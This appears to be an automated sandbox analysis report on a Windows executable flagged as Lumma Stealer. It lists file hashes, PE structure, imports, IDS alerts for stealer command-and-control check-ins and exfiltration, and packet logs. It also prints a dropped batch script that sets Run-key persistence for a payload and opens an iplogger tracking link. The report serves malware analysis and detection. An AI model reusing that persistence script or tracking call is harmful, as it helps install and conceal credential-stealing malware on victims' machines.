Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...L0Gg.............................`L...........@...........................L..........@.................................\@..p....0.......................A...................................................................................... . . .......J..................@....rsrc........0.......Z..............@....idata .....@.......\..............@... ..,..P.......^..............@...fngpdisv.....`1......`..............@...tvvnknfw.....PL......F..............@....taggant.0...`L.."...L..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\s.bat

Process:	C:\Users\user\Desktop\file.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.241342430352341
Encrypted:	false
SSDEEP:	6:hwszH1j0KpIAgidquHxEDscfoZH1j0KpIAgidquHxEDsWEEDwTGQCCAP+YOA:HVj0KprgidquS+Vj0KprgidquqSqXCQ9
MD5:	C27142AA5D9C13E25E9335A57A952743
SHA1:	725EED87891582F0D5BC1622F5A84CB5B77E2495
SHA-256:	C5A6FC64F2EBF5C1FD0E39E4AE37D53FEA01A6758A74B1544D2D475A97DD09AD
SHA-512:	43FC9B010ED3CD9F7ADD8E774613492355E41D08FD9E2790AFD0CF9ED08133BE74BDC543C5D6820CE4B68898D07407EC5CF090DBD75180255A4763A3C730BE42
Malicious:	true
Preview:	@echo off..REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "%Public%\Netstat\dileapp.exe"..REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "%Public%\Netstat\dileapp.exe"..start %Public%\Netstat\dileapp.exe..@echo off..start "" "https://iplogger.co/1tJFB4"..exit..

Chrome Cache Entry: 47

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2833
Entropy (8bit):	7.876846206921263
Encrypted:	false
SSDEEP:	48:Kw15hc/Pj2itdgjeVVO/SzBdCvhaHAlJX7XnF/HDoSH8T78atjZeHMBx/F/WssM:J15hc/Pj2mdgjMjusgl5XFD3MoIx9eg
MD5:	18C023BC439B446F91BF942270882422
SHA1:	768D59E3085976DBA252232A65A4AF562675F782
SHA-256:	E0E71ACEF1EFBFAB69A1A60CD8FADDED948D0E47A0A27C59A0BE7033F6A84482
SHA-512:	A95AD7B48596BC0AF23D05D1E58681E5D65E707247F96C5BC088880F4525312A1834A89615A0E33AEA6B066793088A193EC29B5C96EA216F531C443487AE0735
Malicious:	false
URL:	https://iplogger.co/favicon.ico
Preview:	.PNG........IHDR...@...@......iq.....IDATx.....e.._Osm...,uY.sYI.w.$..........:VjD..!...o%....5$......... (..;~8."......h...r.^/}...\|..qm.O.w..I.m....>..y>.?_.....;_=.b.R4X..4.2....S!.P.m>......*`........@.....O...\,...o..@..RS.5.3.....M..@.....>..\|....2p ......v...-a.9........V..0.X....`(.....TH.i....o:.....'p3.[.Lx.q.1.....XN/j.M...y..+....!r.P........F.6....M.W./".QK.....?...r....f.7.?...7..y@..-` ......f.7..x.......z-......u6D...M.=.6D....`X..>.......`....?..-....s..\..._...Vc.&......rzM...9B....dJp.......\|....@..O....."je...oGL..1.......R!5\.Q.7.......Mb.x.x....)E.u.b9.Ad.<..x.8.L!...8...aV#..\|>.R...9+.....P......~..^...;?.#q......d.G.a`..I...c9..\..Cc',.l.-.......m.H..E......s.s...:.l>....L....u...g#Q..0.<...3.~=b.....TH.....M......K..a..R48....W.[..6...?...3.)..r.WHd8...o(.^.....]..~.8ef49..F......d.QF.zg).,.#.E.-..q..L.....^.u.x.XY....,.......C.i=lJ..c.?.4E=@......Y.r...`......Z.8].....A../.R...5.-.YG1...b.....y..x.".'Y...b1.....K..$..">..

Chrome Cache Entry: 48

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2833
Entropy (8bit):	7.876846206921263
Encrypted:	false
SSDEEP:	48:Kw15hc/Pj2itdgjeVVO/SzBdCvhaHAlJX7XnF/HDoSH8T78atjZeHMBx/F/WssM:J15hc/Pj2mdgjMjusgl5XFD3MoIx9eg
MD5:	18C023BC439B446F91BF942270882422
SHA1:	768D59E3085976DBA252232A65A4AF562675F782
SHA-256:	E0E71ACEF1EFBFAB69A1A60CD8FADDED948D0E47A0A27C59A0BE7033F6A84482
SHA-512:	A95AD7B48596BC0AF23D05D1E58681E5D65E707247F96C5BC088880F4525312A1834A89615A0E33AEA6B066793088A193EC29B5C96EA216F531C443487AE0735
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....IDATx.....e.._Osm...,uY.sYI.w.$..........:VjD..!...o%....5$......... (..;~8."......h...r.^/}...\|..qm.O.w..I.m....>..y>.?_.....;_=.b.R4X..4.2....S!.P.m>......*`........@.....O...\,...o..@..RS.5.3.....M..@.....>..\|....2p ......v...-a.9........V..0.X....`(.....TH.i....o:.....'p3.[.Lx.q.1.....XN/j.M...y..+....!r.P........F.6....M.W./".QK.....?...r....f.7.?...7..y@..-` ......f.7..x.......z-......u6D...M.=.6D....`X..>.......`....?..-....s..\..._...Vc.&......rzM...9B....dJp.......\|....@..O....."je...oGL..1.......R!5\.Q.7.......Mb.x.x....)E.u.b9.Ad.<..x.8.L!...8...aV#..\|>.R...9+.....P......~..^...;?.#q......d.G.a`..I...c9..\..Cc',.l.-.......m.H..E......s.s...:.l>....L....u...g#Q..0.<...3.~=b.....TH.....M......K..a..R48....W.[..6...?...3.)..r.WHd8...o(.^.....]..~.8ef49..F......d.QF.zg).,.#.E.-..q..L.....^.u.x.XY....,.......C.i=lJ..c.?.4E=@......Y.r...`......Z.8].....A../.R...5.-.YG1...b.....y..x.".'Y...b1.....K..$..">..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.943466786411873
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'210'104 bytes
MD5:	eff5fbe427181fe1a3eed978cf0c9a36
SHA1:	ddc48ac8b408c35b8bae9caf0b6c69df56a7c3e3
SHA256:	7119f52e94061723532085e4a082e0cb8bd3a6788b729fa41730571d77924c4d
SHA512:	b515848a86978d7b6ffeda2d5c8c057d76ce18e6ac34c88b24bd02c2495a72839c3487d480d83511e24f266224e36e1c8a039ba890399ed6c9afc811099191a3
SSDEEP:	49152:VIflOUNzXT+SitPBehfQcSm6PPc8V4/s4dEDS:VImVoQ66PU8V4/V
TLSH:	FBA52300B9C698B3E2311D315919BBA175BC7F202F10AABFB3D45E9EC63C1A17235963
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........~..............b.......b..<....b......)^...................................................... ....... .......%....... ......

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0x41d779
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C72EA7E [Sun Feb 24 19:03:26 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	00be6e6c4f9e287672c8301b72bdabf3

Entrypoint Preview

Instruction
call 00007FCCB0B303CFh
jmp 00007FCCB0B2FDC3h
cmp ecx, dword ptr [0043A1C8h]
jne 00007FCCB0B2FF35h
ret
jmp 00007FCCB0B30546h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00430FE8h
mov dword ptr [ecx], 00431994h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FCCB0B234CDh
mov dword ptr [esi], 004319A0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 004319A8h
mov dword ptr [ecx], 004319A0h
ret
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 00431988h
push eax
call 00007FCCB0B330DEh
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 00431988h
push eax
call 00007FCCB0B330C7h
test byte ptr [ebp+08h], 00000001h
pop ecx
je 00007FCCB0B2FF3Ch
push 0000000Ch
push esi
call 00007FCCB0B2F502h
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FCCB0B2FE9Eh
push 00437B58h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FCCB0B327C6h
int3
push ebp
mov ebp, esp
sub esp, 0Ch

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[C++] VS2015 UPD3.1 build 24215
[EXP] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x38cd0	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x38d04	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0xe034	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6c000	0x1fd0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x36ee0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x31928	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x30000	0x25c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x38254	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2e864	0x2ea00	8c2dd3ebce78edeed565107466ae1d3e	False	0.5908595844504021	data	6.693477406609911	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x30000	0x9aac	0x9c00	b8d3a709e8e2861298e51f270be0f883	False	0.45718149038461536	data	5.133828516884417	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a000	0x213d0	0xc00	7a066b052b7178cd1388c71d17dec570	False	0.2789713541666667	data	3.2428863859698565	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.gfids	0x5c000	0xe8	0x200	0a8129f1f5d2e8ddcb61343ecd6f891a	False	0.33984375	data	2.0959167744603624	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x5d000	0xe034	0xe200	d62594e063ef25acc085c21831d77a75	False	0.6341779590707964	data	6.802287495720703	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6c000	0x1fd0	0x2000	983e78af74da826d9233ebaa3055869a	False	0.8060302734375	data	6.687357530503152	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
PNG	0x5d644	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	1.0027729636048528
PNG	0x5e18c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	0.9363390441839495
RT_ICON	0x5f738	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	0.47832369942196534
RT_ICON	0x5fca0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	0.5410649819494585
RT_ICON	0x60548	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	0.4933368869936034
RT_ICON	0x613f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	0.5390070921985816
RT_ICON	0x61858	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	0.41393058161350843
RT_ICON	0x62900	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	0.3479253112033195
RT_ICON	0x64ea8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9809269502193401
RT_DIALOG	0x68c1c	0x2a2	data	0.5296735905044511
RT_DIALOG	0x68ec0	0x13a	data	0.6624203821656051
RT_DIALOG	0x68ffc	0xf2	data	0.71900826446281
RT_DIALOG	0x690f0	0x14e	data	0.5868263473053892
RT_DIALOG	0x69240	0x318	data	0.476010101010101
RT_DIALOG	0x69558	0x24a	data	0.6262798634812287
RT_STRING	0x697a4	0x1fc	data	0.421259842519685
RT_STRING	0x699a0	0x246	data	0.41924398625429554
RT_STRING	0x69be8	0x1dc	data	0.5105042016806722
RT_STRING	0x69dc4	0xdc	data	0.65
RT_STRING	0x69ea0	0x468	data	0.375
RT_STRING	0x6a308	0x164	data	0.5056179775280899
RT_STRING	0x6a46c	0xe4	data	0.6359649122807017
RT_STRING	0x6a550	0x158	data	0.4563953488372093
RT_STRING	0x6a6a8	0xe8	data	0.5948275862068966
RT_STRING	0x6a790	0xe6	data	0.5695652173913044
RT_GROUP_ICON	0x6a878	0x68	data	0.7019230769230769
RT_MANIFEST	0x6a8e0	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	0.3957333333333333

Imports

DLL

Import

KERNEL32.dll

GetLastError, SetLastError, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, GetTickCount, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer

gdiplus.dll

GdiplusShutdown, GdiplusStartup, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromStream, GdipDisposeImage, GdipCloneImage, GdipFree, GdipAlloc

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-29T23:10:03.083696+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	172.67.156.217	443	TCP
2024-11-29T23:10:04.141303+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49738	172.67.156.217	443	TCP
2024-11-29T23:10:04.141303+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49738	172.67.156.217	443	TCP
2024-11-29T23:10:05.381097+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	172.67.156.217	443	TCP
2024-11-29T23:10:09.326265+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49746	172.67.156.217	443	TCP
2024-11-29T23:10:10.160791+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49746	172.67.156.217	443	TCP
2024-11-29T23:10:10.160791+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49746	172.67.156.217	443	TCP
2024-11-29T23:10:11.518319+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49747	172.67.156.217	443	TCP
2024-11-29T23:10:12.322134+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49747	172.67.156.217	443	TCP
2024-11-29T23:10:12.322134+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49747	172.67.156.217	443	TCP
2024-11-29T23:10:13.998058+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49748	172.67.156.217	443	TCP
2024-11-29T23:10:16.465151+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49750	172.67.156.217	443	TCP
2024-11-29T23:10:17.434629+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49750	172.67.156.217	443	TCP
2024-11-29T23:10:17.717727+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49751	172.67.156.217	443	TCP
2024-11-29T23:10:18.836476+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49751	172.67.156.217	443	TCP
2024-11-29T23:10:18.836476+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49751	172.67.156.217	443	TCP
2024-11-29T23:10:18.955180+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49753	172.67.156.217	443	TCP
2024-11-29T23:10:20.340625+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49756	172.67.156.217	443	TCP
2024-11-29T23:10:21.162974+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49756	172.67.156.217	443	TCP
2024-11-29T23:10:21.162974+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49756	172.67.156.217	443	TCP
2024-11-29T23:10:21.578273+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49757	172.67.156.217	443	TCP
2024-11-29T23:10:22.885391+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49759	172.67.156.217	443	TCP
2024-11-29T23:10:24.063993+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49760	172.67.156.217	443	TCP
2024-11-29T23:10:25.392585+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49762	172.67.156.217	443	TCP
2024-11-29T23:10:25.928587+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49763	172.67.156.217	443	TCP
2024-11-29T23:10:26.805193+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49763	172.67.156.217	443	TCP
2024-11-29T23:10:26.805193+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49763	172.67.156.217	443	TCP
2024-11-29T23:10:27.399011+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49764	172.67.156.217	443	TCP
2024-11-29T23:10:28.118931+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49766	172.67.156.217	443	TCP
2024-11-29T23:10:28.156076+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49765	172.67.156.217	443	TCP
2024-11-29T23:10:28.257495+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49764	172.67.156.217	443	TCP
2024-11-29T23:10:28.798831+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49766	172.67.156.217	443	TCP
2024-11-29T23:10:28.798831+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49766	172.67.156.217	443	TCP
2024-11-29T23:10:30.938533+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49767	172.67.156.217	443	TCP
2024-11-29T23:10:31.156343+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49768	172.67.156.217	443	TCP
2024-11-29T23:10:33.638020+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49770	172.67.156.217	443	TCP
2024-11-29T23:10:33.778394+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49771	172.67.156.217	443	TCP
2024-11-29T23:10:36.148117+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49772	172.67.156.217	443	TCP
2024-11-29T23:10:36.424088+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49773	172.67.156.217	443	TCP
2024-11-29T23:10:39.127476+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49774	172.67.156.217	443	TCP
2024-11-29T23:10:41.685041+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49775	172.67.156.217	443	TCP
2024-11-29T23:10:44.581063+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49776	172.67.156.217	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2024 23:09:59.319865942 CET	49733	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:09:59.319907904 CET	443	49733	172.67.167.249	192.168.2.4
Nov 29, 2024 23:09:59.320031881 CET	49733	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:09:59.331720114 CET	49733	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:09:59.331736088 CET	443	49733	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:00.594630957 CET	443	49733	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:00.643047094 CET	49733	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:00.857180119 CET	49733	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:00.857206106 CET	443	49733	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:00.858424902 CET	443	49733	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:00.858480930 CET	49733	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:00.889399052 CET	49733	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:00.889472961 CET	443	49733	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:00.893579960 CET	49733	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:00.893591881 CET	443	49733	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:00.940769911 CET	49733	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:01.584305048 CET	443	49733	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:01.584392071 CET	443	49733	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:01.584558964 CET	49733	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:01.585494041 CET	49733	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:01.585514069 CET	443	49733	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:01.624685049 CET	49737	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:01.624712944 CET	443	49737	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:01.624816895 CET	49737	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:01.625016928 CET	49737	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:01.625027895 CET	443	49737	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:01.814135075 CET	49738	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:01.814157009 CET	443	49738	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:01.814222097 CET	49738	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:01.818303108 CET	49738	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:01.818312883 CET	443	49738	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:02.837323904 CET	443	49737	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:02.837584972 CET	49737	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:02.837599039 CET	443	49737	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:02.837882042 CET	443	49737	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:02.838164091 CET	49737	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:02.838216066 CET	443	49737	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:02.838299036 CET	49737	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:02.879332066 CET	443	49737	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:03.083626032 CET	443	49738	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:03.083695889 CET	49738	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:03.086030960 CET	49738	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:03.086038113 CET	443	49738	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:03.086237907 CET	443	49738	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:03.266990900 CET	49738	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:03.284487963 CET	443	49737	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:03.284523964 CET	443	49737	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:03.284560919 CET	443	49737	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:03.284591913 CET	443	49737	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:03.284727097 CET	49737	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:03.284727097 CET	49737	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:03.328421116 CET	49738	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:03.328421116 CET	49738	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:03.328490019 CET	443	49738	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:03.391594887 CET	49737	443	192.168.2.4	172.67.167.249
Nov 29, 2024 23:10:03.391607046 CET	443	49737	172.67.167.249	192.168.2.4
Nov 29, 2024 23:10:03.493621111 CET	49740	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:10:03.493639946 CET	443	49740	142.250.181.100	192.168.2.4
Nov 29, 2024 23:10:03.493972063 CET	49740	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:10:03.494157076 CET	49740	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:10:03.494168043 CET	443	49740	142.250.181.100	192.168.2.4
Nov 29, 2024 23:10:03.541606903 CET	49741	443	192.168.2.4	104.21.82.93
